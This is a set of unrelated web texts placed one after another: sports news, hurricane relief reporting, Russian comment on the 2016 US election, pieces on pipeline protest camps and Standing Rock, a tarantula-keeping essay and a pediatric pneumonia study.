Colin is the author of Online Dispute Resolution for Business, published by Jossey-Bass in September 2002, and The New Handshake: Online Dispute Resolution and the Future of Consumer Protection, published by the ABA in 2017. He has contributed more than 50 articles to prestigious ADR publications such as Consensus, The Fourth R, ACResolution Magazine, and Peace Review. He serves on the boards of the Consensus Building Institute and the PeaceTech Lab at the United States Institute of Peace. He holds a Master’s degree from Harvard University’s Kennedy School of Government in conflict resolution and technology, a graduate certificate in dispute resolution from UMass-Boston, a B.A. from Haverford College, and he served as a Peace Corps volunteer in Eritrea from 1995-1997.This article is over 4 years old
Boost for West Ham in their pursuit of spot in EuropeSong has been a key part of West Ham’s resurgence
West Ham’s Alex Song left out by Cameroon for Africa Cup of Nations
West Ham United’s pursuit of a place in Europe has received a boost after Cameroon left Alex Song out of their squad for the Africa Cup of Nations.
The midfielder has played a significant role in West Ham’s impressive start to the season, which has taken the club to fourth in the Premier League going into the Boxing Day match against Chelsea.
Song, who is on loan from Barcelona, has started 10 of West Ham’s league matches this season. The Africa Cup of Nations takes place in Equatorial Guinea from 17 January to 8 February.
West Ham are expected to lose the Senegal defenders Diafra Sakho and Cheikhou Kouyaté for the tournament, with that squad scheduled to be announced on Friday.
Cameroon’s coach, Volker Finke, has ignored Song since this year’s World Cup in Brazil. Song was sent off for elbowing the Croatia striker Mario Mandzukic in a 4-0 group stage defeat.
Finke has retained just eight players from the squad that crashed out of the World Cup at the group stage without earning a point and having scored one goal while conceding nine.
Goalkeepers Pierre Sylvain Abogo (Tonnerre Yaoundé), Guy N’dy Assembé (Nancy), Fabrice Ondoa (Barcelona B)
Defenders Cédric Djeugoué (CotonSport), Nicolas N’Koulou (Marseille), Henri Bedimo (Lyon), Frank Bagnack (Barcelona B), Ambroise Oyongo (New York Red Bulls), Brice N’Laté (Marseille)
Midfielders Eyong Enoh (Standard Liège), Stéphane Mbia (Sevilla), Raoul Loé (Osasuna), Edgar Salli (Académica), Georges Mandjeck (Kayseri Erciyesspor), Franck Kom (Étoile du Sahel), Patrick Ekeng (Córdoba)
Forwards Eric Maxim Choupo-Moting (Schalke), Benjamin Moukandjo (Reims), Vincent Aboubakar (FC Porto), Léonard Kweuke (Caykur Rizespor), Clinton N’Jie (Lyon), Franck Etoundi (FC Zurich), Jacques Zoua Daogari (Kayseri Erciyesspor)The U.S. military has warships, helicopters and several transport aircraft involved in hurricane recovery efforts for a devastated Puerto Rico.
The majority of Puerto Rico’s power grid has been destroyed, along with access to clean water and fuel supplies. Authorities believe that it will take months to restore full power access, leaving millions facing an uncertain future.
The USS Kearsarge group “has conducted a combined eight medical evacuations, 148 airlifts and delivered 44,177 lbs of relief supplies and cargo to Puerto Rico and the U.S. Virgin Islands since Hurricane Maria struck,” U.S. Northern Command noted in a Monday release. NORTHCOM also noted that U.S. strategic airlift command is operating at a high tempo delivering critical, lifesaving aid to the island, while the U.S. Army is deploying 8 UH-60 Black Hawk helicopters to assist distribution efforts.
Thousands of U.S. National Guardsman are involved in Hurricane Relief efforts, but officials warn that recovery efforts will be difficult. “This response in Puerto Rico and the Virgin Islands is going to challenge the system,” Chief of the National Guard Bureau General Joseph L. Lengyel told The Hill Monday, adding “Puerto Rico and the Virgin Islands are not Texas and Florida. They’re out here in the middle of the ocean. It’s more complicated to get people here, it’s more complicated to fix the power grids, it’s more complicated to fix a whole lot of other things.”
BEFORE AND AFTER: Satellite imagery shows the extent of power outages in Puerto Rico https://t.co/zgcsihP352 pic.twitter.com/4umUQcBGpl — CNN (@CNN) September 26, 2017
“We simply can’t drive thousands of power trucks to Puerto Rico to help on power restoration,” Coast Guard Rear Adm. Peter Brown told The Washington Post.
“The magnitude of this catastrophe is enormous. This is going to take a lot of help, a lot of collaboration,” Puerto Rico Governor Ricardo Rossello told PBS Monday.
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If you've been following along at all, you know that the dispute has not been over WVU's desire to leave but instead over its desire to leave before the 27-month waiting period required by the Big East. The same rules may keep Syracuse and Pitt in the conference for longer than those schools would like, as they have reached an agreement to join the ACC.
Here's a link to the article, which has lots of good information and cites a couple of anonymous sources.
http://www.dailymail.com/News/breakingnews/201202090205
The gist of the news is that the Big East will receive a $20 million departure penalty from West Virginia on its way out the door. According to the article, WVU will pay $11 million of that and the Big 12 Conference, which will receive similar settlement money from SEC-bound schools Texas A&M and Missouri, would pay the remaining $9 million to complete the deal.
One report, from Orangebloods.com, cited a source saying that the Big 12's portion of the $20 million WVU would pay to the Big East would be a loan that WVU would pay back in full over time.
Why would the Big 12 be willing to cover nearly half of WVU's penalty? Simple. The sooner the league can get West Virginia into the fold, the sooner the league can move forward with plans for 2012-13, which includes nailing down the football schedule for the upcoming season, one of the most critical issues the conference currently is dealing with because of the importance of having a stable and complete league in place for the Big 12's television contracts.
Sources have said that even though nothing has been released to the media or the public, the Big 12 already has provided its TV partners with a tentative schedule that includes West Virginia and the schedule could be released as soon as today.
Here's the breakdown of how the Big East reached the $11 million dollar figure it will get from WVU:
• $5 million for the Big East exit fee
• $5 million to cover Boise State's buyout from the Mountain West Conference (the Broncos have agreed to join the Big East in 2013 but may be swayed to join sooner)
• $1 million as part of its obligation as a future Big 12 school
Although the Big 12 is paying the remainder of the buyout (for now) as a league, the total was reached by the Big East and Big 12 agreeing on roughly $1 million per school in additional exit fee money. Evidently, that money will come from the buyouts that the Big 12 will receive from A&M and Missouri.
There has been no official word on what Texas A&M and MU will pay the Big 12 as their exit penalties, but past reports indicated the amount could be as high as $20-$30 million.
With Step 1 now out of the way and WVU free to leave the Big East, the next step is waiting for the release of the 2012 football schedules.
Stay tuned...Emmanuel Sanders is entering a contract season. And he faces the Week 1 reality of lining up alongside a quarterback who has yet to throw a pass in the regular season.
No better time to look at the glass half full.
"To me, it really doesn't matter, as long as they throw a catchable pass," Sanders said when asked what type of demeanor he'd like to see in his quarterback, per the Denver Post. "Trevor (Siemian) is both. He throws a very catchable ball. He can put it there and can make all the throws. I like the decision."
When one thinks of a professional quarterback, throwing a catchable pass seems like it would be a skill they all possess. Then, a look down a list of past starting quarterbacks might shake such a generalization, and lend some credence toward Sanders' claim. But in case you weren't convinced, he jumped into the memory bank to slam the point home.
"I remember seeing him last year, when I first started seeing him throw, and he was the guy that I was throwing with prior to games," Sanders said of Siemian. "I remember telling Demaryius (Thomas): 'This dude has an arm. He can make every single throw.' It's just all about opportunity in this league."
Being able to make every single throw is what gets players such as rookie Jared Goff drafted first overall. Scouts break down hours of tape to find "every single throw," and send prospects jettisoning up the board. But Siemian, a Northwestern product, didn't exactly have the advantage of the spotlight in college. If Sanders is correct, his best days could be ahead.
When it comes to Sanders' wallet, he's likely keeping fingers, toes and maybe even his eyes crossed with hope that is the truth. He might as well throw his full belief behind his new starting quarterback. His next free-agent contract depends on it.A victory for Donald Trump at the upcoming US presidential elections could be the major change needed to reverse the negative trend in Russia-US relations, claims the head of the Russian Upper House Committee for Foreign Relations.
“Any continuation of the dialogue (which often looked more like a monologue performed by the US) using the same format that has been used over the past 25 years would automatically reproduce all conflicts and stalemates that we faced before – the NATO expansion, the creation of the global missile defense, the ’tug of war’ over the post-Soviet republics, and the attitude to the situation in the Middle East,” Konstantin Kosachev wrote on his Facebook page on Thursday.
“New chances may appear only as radically new tendencies in the White House, and we are talking not only about pro-Russian sentiments, we simply need some fresh air, some ‘wind of change’ in Washington. Then, we can reset certain things and agree on continuation of the dialogue,” the senator added.
READ MORE: Majority of Russians say US administration ‘extremely hostile toward us’ - poll
Kosachev went on to explain that it was practically impossible to deal with US officials obsessed with “democracy messianism” or, in other words, the reorganization of the whole world so that it could better serve their own purposes. “For them, any agreements and compromises are temporary and their own objectives never change,” he complained.
“In the context of these two factors [Donald] Trump looks slightly more promising… At least, he is capable of giving a shake to Washington. He is certainly a pragmatist and not a missionary like his main opponent [Hillary] Clinton,” Kosachev stated.
“Perhaps, the ideal choice would be between Trump and Sanders, because they both would mark a principally new page in American history and because of that – in the history of Russia-US relations. But it seems that such competition is already out of the question,” the Russian senator added.
At the same time, Kosachev acknowledged that under any administration the United States was bound to implement certain geopolitical projects, such as NATO expansion, missile defense or trans-ocean trade partnerships, but noted that new faces in US politics could still bring some pleasant surprises.
“We will wait for surprises because in the ordinary mode and under system-born presidents from traditional clans, like Bush or Clinton, we will definitely have no changes at all,” he concluded.
In late April this year, another top Russian politician – the head of the Lower House Committee for Foreign Relations, Aleksey Pushkov – said that Donald Trump’s pragmatic and business-like approach to politics made him a better candidate than the Democrats with their fixation on spreading liberal ideology and values.
“I would like to emphasize – today Trump looks a more pragmatic candidate who is ready to reach agreements. What will happen after the elections, if he wins, is another question,” the Russian lawmaker said. “In reality, the demand for cooperation with Russia exists in the United States, but this demand is being artificially contained and removed from the agenda by the current US administration.”
READ MORE: Top Russian MP praises Trump’s pragmatism, readiness for cooperation
In December 2015, Vladimir Putin described Trump as the “absolute front-runner in the presidential race” and said Russia welcomed the US politician’s declared intention to restore normal relations. “He says he wants to move to another level of relations, to a deeper level of relations with Russia. How can we not welcome that? Of course we welcome it,” Putin said during his marathon annual Q&A session with journalists.
Trump replied that it was a “great honor” for him to receive praise from a “highly respected” leader such as Putin.He unleashed all of this on the Dodgers last night, a hail of bee-bee fastballs and sliders and changeups. The Dodger hitters could do nothing with him; Michael Cuddyer, the Mets’ left fielder, presented a bigger challenge.
The Mets have a sometimes maddening predilection for favoring offense at every turn. So the aging Cuddyer was asked to gambol in left field. In the second inning, the Dodgers’ Justin Turner hit a hard, if catchable, line drive to left. Cuddyer took a couple of quick halting steps backward and reached, and reached again. The ball bounced off his glove and Turner had a double.
An inning later, Cuddyer did an encore, and the Dodgers had another two-base hit.
In his six innings in the field, Cuddyer obtained a nice cardio workout Friday, running here and there, jumping, crashing into the wall. His misadventures also forced deGrom to throw another dozen or so pitches. It didn’t seem to bother the pitcher. After Cuddyer’s first miscue, deGrom struck out three of the next four batters.
Afterward, deGrom sidled into the interview room, wedged between Daniel Murphy, who hit a Kershaw fastball for a home run, and David Wright, the team captain, who lined a two-run single to center in the seventh right after Kershaw was pulled.
Are you a different pitcher in your second year in the majors? DeGrom nodded.
“I’ve got more confidence,” he said. “There were a couple times tonight, 3-2, where I threw a couple of changeups. I would say last year I probably wouldn’t have done that.”
You put a similar question to Wright. Stenosis, the narrowing of the spinal canal, sidelined him for months this season. He had reason to fear for his career, and now he is at the center of a playoff team. His work Friday night was particularly artful, as with the bases loaded he worked the count against a jumpy flamethrower of a relief pitcher.If you’re like me, you are probably feeling a deep sorrow in your heart over the news that oil will soon flow through that black snake of death, the Dakota Access Pipeline. Despite the largest gathering of tribes in over 100 years, despite the prayers and militant resistance, despite hundreds of water protectors facing trumped up felony charges, despite the occupations, blockades, lockdowns and sabotage; DAPL has prevailed. It is true, we lost the battle of Standing Rock, but there are signs that we are winning the war on fossil fuel infrastructure.
In the past year, as the resistance at Standing Rock grew from a trickle to a flood, at least seven new oil and gas pipelines have been defeated. These include: Pinion Pipeline – NM; Sandpiper Pipeline – MN; Enbridge Line 5 – WI, MI*; Northern Gateway Pipeline – Canada; Northeast Energy Direct – New England; Palmetto Pipeline – GA, SC; Constitution Pipeline – PA, NY. Many of these pipelines were defeated when, seeing the massive resistance at Standing Rock, companies simply withdrew their applications citing “market forces”. What is left unsaid in the corporate press releases is that our resistance to new energy infrastructure is now a major market force.
In addition to these victories, the past couple years have seen communities up and down the west coast defeat seven out of eight proposed coal export terminals and four proposed oil export terminals aimed at shipping Bakken crude from North Dakota to international markets.
It is important to understand that the fossil fuel industry needs these new infrastructure projects in order to expand. Without them they cannot. While it should have been clear under the Obama administration that the US government was never going to commit to any meaningful greenhouse gas reductions (the US became the #1 producer of oil and gas in the world on Obama’s watch), nobody is under any illusion of the government reigning in emissions under the Trump regime. It is plain to see that our only hope in defeating the fossil fuel industry will not be through government action, but concerted direct action campaigns against these fossil fuel projects.
Standing Rock was not the beginning, and it is certainly not the end
As we lick our wounds, mourn the loss, and continue to support those facing charges, we can find inspiration in the incredible spirit of resistance unleashed by the uprising. While a global divestment campaign has been hitting banks with occupations and blockades, and withdrawing billions of dollars from these fossil fuel funders; a wave of direct action encampments have blossomed in the paths of destructive infrastructure projects across Turtle Island.
Two Rivers Camp – Trans Pecos Pipeline, TX
The Society of Native Nations launched the Two Rivers Camp at the end of Dec. 2016 to fight Energy Transfer Partners Trans Pecos Pipeline which would transport fracked gas from Texas shale fields, through the beautiful Big Bend region, to Mexico where it would be exported on the international market. The camp, which includes support from the Jumano, Apache and Conchos People, has engaged in a series of successful actions to disrupt construction of the pipeline.
Sabal Trail Resistance – Sabal Trail Pipeline, FL
Sabal Trail Resistance has engaged in a series of direct actions to stop the Sabal Trail project, a 500 mile project by Spectra Energy and Duke Energy to ship gas from Alabama to south Florida. The pipeline has seen strong resistance from members of the Seminole tribe as well as residents and environmentalists living along the route. There have been multiple acts of civil disobedience, including a mass action in January in which 1000 people gathered to shut down pipeline construction under the Suwannee River. Also just last week a lone pipeline resister was killed by police after fleeing the scene of an effective sabotage action against the pipeline. In addition to the ongoing actions of STR, folks in Dunellon, FL have opened up the Water is Life campaign house to serve as a base for anti-pipeline organizing.
Arkansas Rising – Diamond Pipeline
The Diamond Pipeline would carry oil from eastern Oklahoma to a refinery in West Memphis, Arkansas. In response Arkansas Rising has shut down pipeline construction with direct actions and most recently blockaded the West Memphis oil refinery that would receive the oil. They don’t have a permanent encampment but you stay up to date on their actions here.
Split Rock Sweetwater Prayer Camp – Pilgrim Pipeline, NJ
Members of the Ramapough-Lunaape Tribe have set up a prayer camp in the path of the aptly named Pilgrim Pipeline. This pipeline would bring Bakken crude oil from Albany to the Bayway refinery in New Jersey. A second parallel pipeline would ship refined petroleum products back north. In addition to their encampment, tribal members recently finished an eight day prayer walk to draw attention to the pipeline.
Mountain Valley Pipeline – WV, VA
From the get go, resistance to this fracked gas pipeline has been strong. Counties such as Floyd, VA have organized such strong resistance that the pipeline company decided to reroute construction around them. Most recently activists organized a direct action training attended by over 100 people including many landowners living on the path of the pipeline. Activists have tentative plans for a week long action camp in June to continue building the resistance.
Bayou Bridge Pipeline- LA
This 163 mile long pipeline would cut through the Atchafalaya Basin, the largest riverine swamp in the US, to bring petroleum to refineries in St James Parish, LA. This pipeline, brought to you by Energy Transfer Partners, the same company behind DAPL, has already faced stiff resistance from Louisiana residents. Members of the Houma Tribe, the Louisiana Bucket Brigades and other concerned citizens have turned out hundreds of people to rowdy public hearings on the pipeline, where government officials have been booed and shouted down. Many activists have said they are ready to start an encampment if and when construction starts.
Coalition of Woodland Nations – Atlantic Coast Pipeline – WV, VA, NC
The Atlantic Coast Pipeline, backed by Duke Energy, Dominion Resources, and Southern Company seeks to bring fracked gas from the Marcellus shale into Virginia and the Carolinas to fuel a new wave of gas power plants. North Carolina Alliance to Protect Our People And The Places We Live (APPPL) and the Coalition of Woodland Nations have recently teamed up on a two week long march following the route of the ACP through North Carolina to raise awareness and build a network of resistance to this pipeline. In addition to the walk many landowners are refusing to allow their land to be surveyed and some are vowing to engage in civil disobedience to keep the bulldozers off their land.
Apache Stronghold – Resolution Copper Mine – AZ
For the past few years members of the Apache tribe have been occupying an area known as Oak Flats in order to prevent a new copper mine from being built on their traditional sacred land. Thanks to the Sen. John McCain, this land, which was relatively protected under the control of the Forest Service, was given to Resolution Copper by sneaking a rider into a Defense Authorization Bill. The occupation, under the name Apache Stronghold, is still ongoing and vows to stay until the project is defeated.
Lancaster Stand – Atlantic Sunrise Pipeline – PA
This February, residents of Lancaster County announced the launch of Lancaster Stand, a protest encampment built directly in the path of the Atlantic Sunrise Pipeline. This pipeline would carry fracked gas out of PA and send most of it to the controversial Cove Point LNG export terminal in Maryland. So far the camp is holding strong and encouraging others to join them.
Unist’ot’en Camp – Pacific Trails Pipeline, BC, Canada
Long before the Standing Rock uprising caught the world’s attention, members of the Unist’ot’en tribe along with other First Nations people set up an encampment on their traditional territories to block the Northern Gateway pipeline. The camp, now in its eighth year has been instrumental in beating that pipeline and is now fighting the Pacific Trails Pipeline. The PTP would deliver gas from Summit Lake, BC to a proposed LNG export terminal in Kitimat, BC. In addition to blocking the pipelines, the Unist’ot’en Camp serves as a reclamation of their traditional territories where they can practice and strengthen their traditional skills and customs.
Madii Lii Camp – Prince Rupert Natural Gas Pipeline, BC Canada
Members of the Gitxsan Nation have erected a camp to fight the PRNGP and accompanying LNG export terminal. The pipeline and export terminal threaten their traditional territory and vital salmon runs which the First Nations people have relied on for countless generations. Like the Unist’ot’en they are using their camp as both a base of resistance as well as a space to pass on their traditions to the next generation.
Lelu Island fighting the proposed Petronas LNG Plant, BC Canada
In response to a proposed $11 billion LNG export facility on their traditional territories, members of the Lax’walams Nation have camped out on Lelu Island to block construction. The facility would have a major impact on the coastal ecosystem, including salmon runs, that residents depend on. The resisters have intercepted ships carrying surveying equipment and disrupted other efforts to begin construction of the LNG facility.
All power to the Camps!
Supporting, growing, and escalating these direct action encampments should be a primary strategy for our movement to defend the Earth and her people. Not only do they serve as a base to launch disruptive actions against destructive projects, they also act as radical laboratories where new ideas and tactics are innovated, as well as focal points where new and inexperienced activists can dive in to a full blown direct action campaign relatively quickly. These camps help us to grow a culture of resistance by creating communities where we can experiment with self organization and autonomy, pointing a way forward out of the utter inneffectiveness of electoral politics. These spaces allow us to break through the isolation of social media activism, and find each other in real life to build bonds, make connections, and take meaningful action in defense of Mother Earth.
There are many ways to help these resistance camps thrive: donate money and supplies, organize work parties, do solidarity actions, spread the word with a presentation in your town, broadcast them on social media, and of course you can always join them, or better yet, start your own!
*Enbridge Line 5 is an existing oil pipeline. The Bad River Band of the Chippewa recently voted to not renew the lease on the pipeline which runs through their reservation. This will force Enbridge to discontinue its use or build a new route around the reservation.The federal government has once again requested that the company building the Dakota Access pipeline stop work and leave the area to help defuse tensions at camps near the Standing Rock Sioux Reservation. This is the second request in a week.
Construction of the Dakota Access pipeline has reached within a mile of the Missouri River.
Col. John Henderson, U.S. Army Corps of Engineers district commander for the region, said in a statement late yesterday: “After meeting with key [tribal] leaders in the state of North Dakota, we are confident that they share our commitment to defusing tensions and maintaining public safety. We again ask DAPL to voluntarily cease operations in this area as their absence will help reduce these tensions,” Henderson said.
Construction of the Dakota Access pipeline has reached within a mile of the Missouri River, according to drone operators monitoring the work. This has happened despite the repeated federal government requests that Energy Transfer Partners voluntarily halt construction within a 20-mile buffer on both sides of the river. The construction cuts through gravesites and other lands the Standing Rock Sioux tribe considers sacred.
The company still lacks the final Army Corps of Engineers permit needed to cross the river. But on Tuesday, while the nation’s attention was riveted by the election, Energy Transfer Partners announced it was assembling the necessary equipment and would begin drilling under the Missouri River within two weeks.
“We are concerned over recent statements from DAPL regarding our request to voluntarily stop work, which are intended to defuse tensions surrounding their operations near Corps-managed federal land until we have a clear path forward,” Henderson said.
“Concurrently, in an extended meeting with tribal leadership from multiple Missouri River basin tribes at Fort Yates, North Dakota, last week, we all agreed to proactively exercise the leadership necessary to defuse tensions between demonstrators and law enforcement.”
Several confrontations between the thousands of occupiers and militarized police force there have turned violent.
I met with Standing Rock Tribal Chairman Dave Archambault II on Nov. 9, the day after Dakota Access announced its intention to prepare for drilling, to hear his reaction to this news and to find out if he is still hopeful that the pipeline can be stopped. It was also the day after the U.S. elected Donald Trump as the next president, a pro-oil candidate with personal investments tied to the completion of the Dakota Access pipeline. Here, he discusses his experiences as the leader of the tribe that has become the center of the struggle between land and water protectors and the pipeline’s financial and political backers.
Sarah van Gelder: DAPL recently stated that they are planning to go ahead with drilling under the Missouri River, regardless of what the Army Corps of Engineers has said.
Dave Archambault: I think Dakota Access and Energy Transfer Partners are more concerned about their investors. We were watching the stock market drop as the election was happening, and so their comment is to try to put investors at ease.
But if they go forward without an easement, they are violating federal law. It’s in the Corps of Engineers’ hands. For them to come out with a statement like that just adds to the list of things they’ve done wrong. They’ve used untrained, unlicensed handlers with guard dogs on protesters, they’ve destroyed sacred places that are significant to the tribe.
And now they’re coming out saying we’re going to build no matter what.
“They’re coming out saying we’re going to build no matter what.”
They’ve been asked voluntarily not to construct because of public interest and public safety. They’ve refused to listen, and they’ve pressed forward. And when they pressed forward, they put the law enforcement up against water protectors. They put the tribal government up against the state government.
When this is all said and done, the company is going to be gone. The water protectors are going to be gone. The law enforcement from other counties and other states are going to be gone. The National Guard is going to go back. When this is all said and done, we’re going to have to deal with everything.
van Gelder: How do you think the election is going to impact what’s going on?
Archambault: We have to be hopeful and mindful that the new president understands what we’re about. We’re about protecting our future. And that’s what he should be about. He should think, How can I protect my future so that 50 years from now, 100 years from now, there’s something there? And that if we continue to do what we’re doing at the pace that we’re doing it, in 50 years we’re going to see mass destruction because Mother Earth cannot sustain herself with all the activity that’s taking place.
So if there’s an understanding of that, we can build relationships, and we can work together on how to make this place better and to salvage what is left.
van Gelder: This particular issue has attracted attention from all over the country and all over the world. Why do you think that is?
Archambault: It’s very basic and very simple. Water gives life to everything that has a soul or a spirit. And if you’re standing up for water, there’s a lot of people that will stand beside you. We know that there’s a shortage of clean, fresh water. We see states—California or Nevada—where there are water shortages. We have countries where they do not have clean water.
“What we’re trying to do is protect our water for future generations, and this pipeline poses a threat.”
What we’re trying to do is protect our water for future generations, and this pipeline poses a threat, as well as pipelines that are under the Missouri River today pose a threat. So we need to do what we can to protect what is precious to us, and that is the water and the land.
van Gelder: Hundreds of people are talking about spending the whole winter at the camp. And I hear there are 1,300 more people on their way right now. What does it do to have that many people actually here?
Archambault: It means a lot. It means that we’re sending our voice with numbers. We’re being heard. And it’s good. But there also is a risk. When it was nice out, the tribe could accommodate and address safety concerns and issues. As the weather changes, we get extreme cold here, and it’s not just 5 degrees below zero. This is 35 degrees below zero Fahrenheit, for long periods of time, say five to seven days, maybe longer. That’s dangerous. What I’m trying to do is work with our tribal council to set up a shelter, so if they’re down there and it gets bad, there would be a safe place for them to go.
van Gelder: This must be a strain for the Standing Rock community itself, to have so many people coming through and so much attention. Has that been difficult for you to navigate?
Archambault: Our routine has been impacted. So we have to adjust. We’re used to going to Bismarck from here in 50 minutes. But now we’re rerouted to go onto Highway 6 because of what’s happening. We also have schools that have to close down because there were some actions taking place. We have teachers who couldn’t come to work because of the things that are going on. So there’s definitely impact to our routine. And it’s a challenge. We’re trying to work with everybody to make sure that safety is No. 1.
van Gelder: Can I ask how that’s been for you personally? It must be a big change in your own life, in terms of your routine and your public role.
Archambault: The reason why I became the chairman is to see if I could take things in another direction, because we do have a high rate of poverty. So how do we get out of that? All the wrongs done to our people for two centuries created trauma, created the state dependency, created high poverty. I can’t change that overnight, so I just have to keep going every day. My intention has always been: How can I make this a better place for our children who are not yet born?
van Gelder: There’s been a lot of discussion also at the camp about how important prayer is to this particular stance, and how the people there are not a bunch of protesters; they’re water protectors. How do you see that?
Archambault: In order for us to accomplish what we set out to do, to protect the water, we have to be mindful of who we are, and we have to be mindful of where we come from and who we represent. Violence doesn’t have a place. So the power of being in prayer and being united together in vast |
folks justify their spotty husbandry by stating, “Well, it’s not dead, so I must be doing something right.” Can you imagine applying the same reasoning to your dog or cat?
To recognize when we are doing a good job with their care, we also need to consider what others are doing.
There is no instruction manual for raising tarantulas, and the handful of good husbandry books available often offer pertinent but limited information when it comes to the individual needs of specific species of tarantulas. After all, with over 900 species in the world, a book that covered the specific and detailed husbandry needs of each one would be one massive volume. That means the majority of the species-specific husbandry information we get comes from the cumulative accounts of those who keep them.
For example, Keeper A picks up a new species, does some research on its natural habitat, sets it up, and reports his observation on a blog, care sheet, forum, or in the comments of a YouTube video. Keeper B finds these accounts during her research, but she keeps her specimen in slightly colder temps and with less substrate. The tarantula appears to be fine, so she reports on her findings. Over the years, more keepers tweak this husbandry recipe until we finally come to having a “definitive” mode of husbandry.
And, on occasion, the generally recognized and accepted husbandry for a particular species proves to be incorrect. Take the genus Avicularia as a recent example. The internet is still rife with care sheets that state Avicularia need to be kept humid with moist substrate and frequent spraying. When hobbyists first began keeping this species, they looked to their natural habitat to determine how they should be kept. As they hail from humid locales, it seemed to make sense to keep them in humid enclosures. However, these species soon got a reputation for being fragile and difficult to keep as more and more hobbyist reported incidences of “Sudden Avic Death Syndrome”as their spiders died suddenly and with no apparent cause.
Then one day, some keeper or keepers got what must have been seen as a crazy idea. What if, instead of keeping them in stuffy and humid enclosures, we tried dry and well-ventilated ones instead?
Having witnessed what can happen in groups or on message boards when someone recommends a radical new husbandry idea, I can only imagine the backlash this poor guy or gal received when first sharing his or her findings. I can just imagine responses like, “Everyone knows avics need high humidity!” or “You can’t keep them dry…they’ll die!” For anyone who has spent time on certain message boards or Facebook groups, you can probably appreciate what a fracas this would have created.
And yet this out-of-the-box thinking not only revolutionized how we keep this species, but also likely saved thousands of spiders. It is now widely recognized that many of those SADS deaths could be attributed to dank, stuffy cages, and folks who keep them dry and well-ventilated report healthy spiders. If this person or people had their voices drowned out by close-minded hobbyists that “knew better”, we might still be keeping these animals wrong.
It is crucial that folks in this hobby feel safe to express new ideas.
Instances like this serve as sterling examples of why it’s always crucial to be open-minded when hearing new techniques or ideas. Does it mean we have to accept everything as true and valid? Of course not. There are going to be times where keepers come up with some outlandish ideas that seem to lack any shred of common sense. I’ve also seen a lot of new hobbyists who read something false then report it as fact in an effort to appear “in the know.” However, the way we respond to these folks is still important. Instead of a dozen people hopping on to decry the keeper as reckless, irresponsible, or stupid, perhaps a more civil reply is in order. Consider these two responses to someone who has reported something suspect:
“Ridiculous. That’s a great way to kill your T. Do some more research.”
Or
“Interesting. I do appreciate your perspective. However, experience has taught me otherwise. Here is what I’ve found (insert explanation here). Thanks for sharing and good luck!”
As this is a public dialog, the first reply is going to be seen by others who are now likely worried about opening their mouths and sounding stupid. After all, who wants to be rudely and publicly admonished in such a manner? Talk about a great way to choke off discourse. Furthermore, by scolding the poster in such a brash manner they’re likely to become defensive and close off to hearing conflicting viewpoints. Absolutely nothing is gained in this exchange. However, with the second more polite response, the original poster is more likely to at least consider that he may want to rethink his technique. This type of mature reply will also foster a more open and friendly tone for the communication of ideas (good and bad), and invite more folks to share their experiences.
Everyone wins.
Valuable information can be gleaned from alternative viewpoint and strategies.
Recently, popular YouTuber Deadly Tarantula girl shared a video about how she keeps her P. muticus specimens, and the video received quite a bit of backlash. Although the general consensus is that these are fossorial species that require deep substrate in which to dig in order to thrive, Marita explained that she keeps hers terrestrially with a bit of substrate and a hide. Now, although this flies in the face of how most folks choose to keep this species, it should be noted that Marita has been in the hobby for a long time, and although she does some things that might be “controversial”, she has years of experience to fall back on. And, having kept the muticus for over 20 years, she should definitely know a thing or two about their care.
I must admit, when first viewing the video, I was impressed that she would post something that she obviously knew would be incredibly divisive. At the same time I was not quite in agreement, as this was NOT how I kept mine. That said, instead of firing off some snarky knee-jerk comment about the video, I mulled over what she said and took to following the comments being posted about it.
The incident served as the impetus for an amazing dialog between several hobbyists and I about this species, leading many of us to realize that trying to replicate its natural habitat with the deep substrate could be creating some problems with its husbandry. Many folks, me included, reported issues with their specimens sealing themselves up in the bottom of deep burrows and never resurfacing to eat. In some cases, the animals seemingly starved to death after months secreted away in their burrows.
Which is the “correct” way? I don’t have a definitive answer yet, but DTG video spurred the type of thought and discussion that would hopefully lead to better husbandry practices and healthier Ts. Many of us were left rethinking what we thought we knew about this species and its proper care. It clearly illustrates how important the sharing of information can be in this hobby, as well as the importance of always keeping an open mind when being presented with new perspectives.
Now, before someone gets the idea that I’m encouraging wild experimentation in the hobby, that’s not at all my point. Although I think it’s healthy to consider new perspectives while evolving your husbandry, turning your back on scientific evidence or years of generally recognized husbandry can be dangerous. There is a big difference between experience-guided decisions and blind experimentation.
I AM advocating for two very important things; respect and open-mindedness.
Respect the opinions of others, no matter how outlandish or contrary they may seem. I love when those on message boards ridicule or chastise someone for a poor husbandry choice, then justify it by saying that they are “teaching.” That’s not teaching. A teacher will politely address the person, offering clear and non-judgmental feedback as to why they feel the person may be incorrect. The “student” should leave the conversation feeling educated and supported, not ridiculed and attacked.
Of course, respect goes both ways. If you’re the seasoned keeper addressing a newbie who may be suggesting something strange, try to remember what it was like to be new to this hobby and be patient with your reply. Ridicule and browbeating has no place in constructive discourse. If you’re the newbie and a seasoned keeper offers your polite feedback, be respectful of their experience level within the hobby. Becoming snotty and contrary does no one any good.
And I don’t care if you’re a keeper with 10 years of experience or 10 days, it’s always important to keep an open mind. The question you should always use to guide you through keeping is not “Does it work”; it’s “Is there a better way?” Even when confronted with husbandry techniques and practices that differ greatly from what you do, you should try to be open-minded and see if there is something to be gleaned from the experience. After all, what you do may work for you, but it may not necessarily be the best way to do it.
The importance of sharing information without fear of repudiation or admonishment is crucial to the advancement of the hobby. The truth is, no matter how large our collections may grow, they still only represent a micro-fraction of the animals being kept. To really get a better, more accurate view of what “works”, we need a much larger sample than that of just one keeper. We need to collectively pool our experiences, both good and bad, to ensure that this incredible hobby continues to grow and to improve.Children hospitalized for pneumonia have similar outcomes, including length of stay and costs, regardless of whether they are treated with “big gun” antibiotics such as ceftriaxone or cefotaxime or more narrowly focused antibiotics such as ampicillin or penicillin, according to a Vanderbilt study published in Pediatrics.
Study authors said the findings are important because pneumonia is one of the most common reasons for hospitalization among U.S. children and because broad-spectrum antibiotics are frequently overprescribed, leading to antibiotic resistance.
“Sometimes there is a perception, not restricted to pneumonia, that the use of a broad spectrum antibiotic, a big gun, is going to be the best treatment for all patients. This perception can complicate the selection of antibiotics especially when there is limited information to support the decision,” said senior author Carlos G. Grijalva, M.D., MPH, assistant professor of Health Policy. “To help inform those decisions, this study compared two pneumonia treatment regimens, a big gun (broad spectrum antibiotics) vs. a small gun (narrow spectrum antibiotics), and found there were no significant differences in clinical outcomes or associated costs.”
